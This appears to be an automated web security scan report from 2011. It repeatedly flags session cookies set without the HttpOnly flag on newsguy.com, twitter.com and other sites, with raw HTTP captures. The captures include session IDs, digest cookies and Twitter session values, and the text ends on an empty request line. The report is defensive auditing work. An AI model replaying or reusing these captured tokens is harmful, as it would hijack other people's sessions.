HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:45:11 GMT Server: Apache/1.3.41 (Unix) mod_throttle/3.1.2 mod_perl/1.27 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7l-p1 Set-Cookie: session-id=023e3f49f2d18b856da6d8f94167d019; path=/ Content-Length: 12608 Cache-Control: private Connection: close Content-Type: text/html
...<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN"> <html>
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /commd6.htm HTTP/1.1 Host: newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256; session-id=07e5e76216ca9266b6006a1955c20780;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:43:53 GMT Server: Apache/1.3.41 (Unix) mod_throttle/3.1.2 mod_perl/1.27 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7l-p1 Set-Cookie: session-id=06c5f7d82a3447eea4d6519eeca1bce1; path=/ Content-Length: 17446 Cache-Control: private Connection: close Content-Type: text/html
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd" > <html>
<head> <title>Newsguy - Web Hosting Services</title> <meta NAME="description" ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /contact.htm HTTP/1.1 Host: newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256; session-id=07e5e76216ca9266b6006a1955c20780;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:43:30 GMT Server: Apache/1.3.41 (Unix) mod_throttle/3.1.2 mod_perl/1.27 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7l-p1 Set-Cookie: session-id=0c8270d27d9d3631ff3ceea64605bb86; path=/ Content-Length: 9186 Cache-Control: private Connection: close Content-Type: text/html
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd" > <html>
<head> <title>Newsguy - How to Contact Newsguy</title> <meta NAME="description ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /copy.htm HTTP/1.1 Host: newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256; session-id=07e5e76216ca9266b6006a1955c20780;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:45:26 GMT Server: Apache/1.3.41 (Unix) mod_throttle/3.1.2 mod_perl/1.27 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7l-p1 Set-Cookie: session-id=059470dd7ea704c723c81ddbf036d4ba; path=/ Content-Length: 11876 Cache-Control: private Connection: close Content-Type: text/html
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd" > <html>
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /diagnostics.htm HTTP/1.1 Host: newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256; session-id=07e5e76216ca9266b6006a1955c20780;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:44:05 GMT Server: Apache/1.3.41 (Unix) mod_throttle/3.1.2 mod_perl/1.27 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7l-p1 Set-Cookie: session-id=0efe28b79fc3d01048db4a97c38af5ed; path=/ Content-Length: 8200 Cache-Control: private Connection: close Content-Type: text/html
...<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN"> <html>
<head> <title>Newsguy - Testing Your Connection</title> <meta name="description" content="Test your connection to Newsguy, a provider of Comme ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /email.htm HTTP/1.1 Host: newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256; session-id=07e5e76216ca9266b6006a1955c20780;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:43:39 GMT Server: Apache/1.3.41 (Unix) mod_throttle/3.1.2 mod_perl/1.27 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7l-p1 Set-Cookie: session-id=0e5fcc0aee2c92abb216c13cc08d7e69; path=/ Content-Length: 9327 Cache-Control: private Connection: close Content-Type: text/html
...<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN"> <html>
<head> <title>Newsguy - Spam Free Email Accounts!</title> <meta NAME="description" CONTENT="Unlimited Internet Access, Web Hosting, Usenet new ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /groups.htm HTTP/1.1 Host: newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256; session-id=07e5e76216ca9266b6006a1955c20780;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:44:36 GMT Server: Apache/1.3.41 (Unix) mod_throttle/3.1.2 mod_perl/1.27 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7l-p1 Set-Cookie: session-id=0e6392c5076efee38380c3142855f369; path=/ Content-Length: 15879 Cache-Control: private Connection: close Content-Type: text/html
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd" > <html>
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /ispcon.htm HTTP/1.1 Host: newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256; session-id=07e5e76216ca9266b6006a1955c20780;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:45:45 GMT Server: Apache/1.3.41 (Unix) mod_throttle/3.1.2 mod_perl/1.27 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7l-p1 Set-Cookie: session-id=09f460e512ac271d0a5c0f9309dbe44c; path=/ Content-Length: 3910 Cache-Control: private Connection: close Content-Type: text/html
...<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN"> <html>
<head> <title>Newsguy - ISPCON Show</title> <meta name="description" content="Copyright notice for Newsguy News Service, a provider of Commerc ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /javascript:LoginNow() HTTP/1.1 Host: newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256; session-id=07e5e76216ca9266b6006a1955c20780;
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /members.htm HTTP/1.1 Host: newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256; session-id=07e5e76216ca9266b6006a1955c20780;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:43:53 GMT Server: Apache/1.3.41 (Unix) mod_throttle/3.1.2 mod_perl/1.27 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7l-p1 Set-Cookie: session-id=00da9a944623b64631e869c738c369e5; path=/ Content-Length: 44100 Cache-Control: private Connection: close Content-Type: text/html
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd" > <html>
<head> <title>Newsguy - Member Services and Features</title> <meta NAME="descr ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /msgpanel/message.asp HTTP/1.1 Host: newsguy.com Proxy-Connection: keep-alive Referer: http://newsguy.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256; session-id=07e5e76216ca9266b6006a1955c20780
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /news.asp HTTP/1.1 Host: newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256; session-id=07e5e76216ca9266b6006a1955c20780;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:44:05 GMT Server: Apache/1.3.41 (Unix) mod_throttle/3.1.2 mod_perl/1.27 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7l-p1 Set-Cookie: session-id=0e83dea317d99a7de52fe1750cde8b8b; path=/ Content-Length: 46840 Cache-Control: private Connection: close Content-Type: text/html
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd" > <html>
<head> <title>Newsguy - Accessing Newsgroups With Direct Read News</title> <me ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /news.htm HTTP/1.1 Host: newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256; session-id=07e5e76216ca9266b6006a1955c20780;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:44:05 GMT Server: Apache/1.3.41 (Unix) mod_throttle/3.1.2 mod_perl/1.27 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7l-p1 Set-Cookie: session-id=07d8619e23c66c94db17f947a018eeac; path=/ Content-Length: 46840 Cache-Control: private Connection: close Content-Type: text/html
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd" > <html>
<head> <title>Newsguy - Accessing Newsgroups With Direct Read News</title> <me ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /newsguys.htm HTTP/1.1 Host: newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256; session-id=07e5e76216ca9266b6006a1955c20780;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:44:02 GMT Server: Apache/1.3.41 (Unix) mod_throttle/3.1.2 mod_perl/1.27 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7l-p1 Set-Cookie: session-id=0540c815ac03e969256e365468d2bfb0; path=/ Content-Length: 23875 Cache-Control: private Connection: close Content-Type: text/html
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd" > <html>
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /overview.htm HTTP/1.1 Host: newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256; session-id=07e5e76216ca9266b6006a1955c20780;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:43:39 GMT Server: Apache/1.3.41 (Unix) mod_throttle/3.1.2 mod_perl/1.27 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7l-p1 Set-Cookie: session-id=07c1fd007b57ee5d13cb4f4071a9b2eb; path=/ Content-Length: 33263 Cache-Control: private Connection: close Content-Type: text/html
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd" > <html>
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /policy.htm HTTP/1.1 Host: newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256; session-id=07e5e76216ca9266b6006a1955c20780;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:45:18 GMT Server: Apache/1.3.41 (Unix) mod_throttle/3.1.2 mod_perl/1.27 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7l-p1 Set-Cookie: session-id=05a35e6e7093ee3ebb9435e70a8c4d46; path=/ Content-Length: 56165 Cache-Control: private Connection: close Content-Type: text/html
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd" > <html>
<head> <title>Newsguy - Service Policy</title> <meta NAME="description" CONTEN ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /services.htm HTTP/1.1 Host: newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256; session-id=07e5e76216ca9266b6006a1955c20780;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:43:36 GMT Server: Apache/1.3.41 (Unix) mod_throttle/3.1.2 mod_perl/1.27 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7l-p1 Set-Cookie: session-id=054baa14c183ba1850baba7e413a8d17; path=/ Content-Length: 10374 Cache-Control: private Connection: close Content-Type: text/html
...<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd" > <html>
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /teraton_features.htm HTTP/1.1 Host: newsguy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256; session-id=07e5e76216ca9266b6006a1955c20780;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:44:40 GMT Server: Apache/1.3.41 (Unix) mod_throttle/3.1.2 mod_perl/1.27 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7l-p1 Set-Cookie: session-id=00cdfc51a8924dd9f4e54a04bd892b1c; path=/ Content-Length: 11386 Cache-Control: private Connection: close Content-Type: text/html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <!-- saved from url=(0053)https://acc.newsguy.com/cgi-bin/eroticusenet_purchase --> <HTML><HEAD><TITLE>NewsGuy - TeraTon. Newsgroup Plugi ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /user_info.asp?0.2662578278686851 HTTP/1.1 Host: newsguy.com Proxy-Connection: keep-alive Referer: http://newsguy.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256; session-id=07e5e76216ca9266b6006a1955c20780
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /journal/clearing-floats HTTP/1.1 Host: sonspring.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /softwaremap/?fq%5B%5D\\x3dtrove:20\\x26amp;sort\\x3dlatest_file_date\\x26amp;sortdir\\x3ddesc\\x26amp;limit\\x3d100\\x22 HTTP/1.1 Host: sourceforge.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- Create Server: sfs-web-6 --> <!-- ~ SourceForge.net: Find and B ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
PHPSESSID=fs7cao9ricm3m32upt64vdhf53; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /music-scene/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 HTTP/1.1 Host: starscene.dailystar.com.lb Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 16:02:33 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.7 X-Pingback: http://starscene.dailystar.com.lb/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: PHPSESSID=fs7cao9ricm3m32upt64vdhf53; path=/ Set-Cookie: crep=show; expires=Tue, 25-Jan-2011 16:02:33 GMT; path=/; domain=.starscene.dailystar.com.lb Last-Modified: Mon, 24 Jan 2011 16:02:33 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 50976
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /t/v1/imp?%25&migAgencyId=111&migSource=adsrv2&migTrackDataExt=2356384;58746736;233909482;38657313&migRandom=2148129&migTrackFmtExt=client;io;ad;crtv HTTP/1.1 Host: t.mookie1.com Proxy-Connection: keep-alive Referer: http://ad.doubleclick.net/adi/N5875.270604.B3/B5111946.91;sz=120x600;pc=[TPAS_ID];ord=[timestamp]? Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW800iZiMAAocf; NXCLICK2=011Pbk1ANX_CasaleB3/ATTWL/11Q1/MobRONRTG/300/1243587456!y!90!Ayp!Cly; id=914803576615380; RMFL=011PfKJbU106t6
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 01:35:44 GMT Server: Apache/2.0.52 (Red Hat) Cache-Control: no-cache Pragma: no-cache P3P: CP="NOI DSP COR NID CUR OUR NOR" Set-Cookie: session=1295919344|1295919344; path=/; domain=.mookie1.com Content-Length: 35 Content-Type: image/gif
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /?t=z&n=2671&kw=undefined&fleur_de_sel=7742680979426950 HTTP/1.1 Host: tenzing.fmpub.net Proxy-Connection: keep-alive Referer: http://ads.tweetmeme.com/serve.js?tag=home&width=300&height=250&rand=53705905654 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /themes/shadow HTTP/1.1 Host: themehybrid.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: thenextweb.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html> <html dir="ltr" lang="en-US" xmlns:fb="http://www.facebook.com/2008/fbml"> <head> <meta charset="UTF-8" /> <title>The Next Web | TNW is the International Source for Internet Ne ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /auth/login?r=http%3A%2F%2Ftweetmeme.com HTTP/1.1 Host: tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmv=; __ctl=286f8b371579253c1; __utmz=229010307.1295907700.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __csnv=2d2e35941c7237e0; tm_identity=1e736a4ffb2b89d8eb9feef196afe056; __utma=229010307.737407932.1295907700.1295907700.1295907700.1; __utmc=229010307; __csref=; __cst=c361a3372a99df5c; __qca=P0-724637325-1295907700201; __utmb=229010307.2.10.1295907700; __csv=286f8b371579253c; __qseg=Q_D|Q_T|Q_2891|Q_2867|Q_2866|Q_2865|Q_2363|Q_2362|Q_2355|Q_2353|Q_2352|Q_2349|Q_2339|Q_1286|Q_1160|Q_1159|Q_1156|Q_1149|Q_1148|Q_983;
guest_id=129591058790861047; path=/; expires=Wed, 23 Feb 2011 23:09:47 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Mon, 24 Jan 2011 23:09:47 GMT Server: hi Status: 200 OK X-Transaction: 1295910587-82359-30173 ETag: "9a6712df9e465f208b30f02c1f450eaf" Last-Modified: Mon, 24 Jan 2011 23:09:47 GMT X-Runtime: 0.01017 Content-Type: text/html; charset=utf-8 Content-Length: 43988 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1295910586462673; path=/; expires=Mon, 31-Jan-11 23:09:46 GMT; domain=.twitter.com Set-Cookie: guest_id=129591058790861047; path=/; expires=Wed, 23 Feb 2011 23:09:47 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJWQ2OTE2NzQ1OWNkMjZmNGJkODYxYjkwNzEzYWI0N2U0Igpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIBk5Kui0B--357ce574d35e8822769e63fd9d1dd29f4461904b; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
guest_id=129591039585816877; path=/; expires=Wed, 23 Feb 2011 23:06:35 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /7News/ HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Mon, 24 Jan 2011 23:06:35 GMT Server: hi Status: 200 OK X-Transaction: 1295910395-49850-63408 ETag: "85cdef8719ba6d07512d0d99ffbc30f1" Last-Modified: Mon, 24 Jan 2011 23:06:35 GMT X-Runtime: 0.00972 Content-Type: text/html; charset=utf-8 Content-Length: 54324 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1295910394925908; path=/; expires=Mon, 31-Jan-11 23:06:34 GMT; domain=.twitter.com Set-Cookie: guest_id=129591039585816877; path=/; expires=Wed, 23 Feb 2011 23:06:35 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CDoHaWQiJTViNzE3ZDJlNTczNWZjYjFiMDVhOWI5NmFjYTJjOWM2Igpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsI1F9Hui0B--57a878bd8dcd4b502ec0bff069b12b796c637c54; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
guest_id=129591034914123817; path=/; expires=Wed, 23 Feb 2011 23:05:49 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /7News/newsteam HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Mon, 24 Jan 2011 23:05:49 GMT Server: hi Status: 200 OK X-Transaction: 1295910349-62168-50610 ETag: "da817aed8ad2f932b9830e8a84480989" Last-Modified: Mon, 24 Jan 2011 23:05:49 GMT X-Runtime: 0.57960 Content-Type: text/html; charset=utf-8 Content-Length: 57201 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: k=173.193.214.243.1295910347880108; path=/; expires=Mon, 31-Jan-11 23:05:47 GMT; domain=.twitter.com Set-Cookie: guest_id=129591034914123817; path=/; expires=Wed, 23 Feb 2011 23:05:49 GMT Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoMY3NyZl9pZCIlN2Q0ZTFiOTJmMGY0NmRjMTgyZTZkMjQ3ZTFlMjE1%250ANTk6DnJldHVybl90byImaHR0cDovL3R3aXR0ZXIuY29tLzdOZXdzL25ld3N0%250AZWFtOgdpZCIlZDI1NjgyOTUxYTU1YzRjZDc1MzNiNTE3NWVjOTllMGUiCmZs%250AYXNoSUM6J0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6%250ACkB1c2VkewA6D2NyZWF0ZWRfYXRsKwhXqUa6LQE%253D--b059b0e115ff03027e8577c5a6c0808a3211765e; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
guest_id=129591035323884356; path=/; expires=Wed, 23 Feb 2011 23:05:53 GMT
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
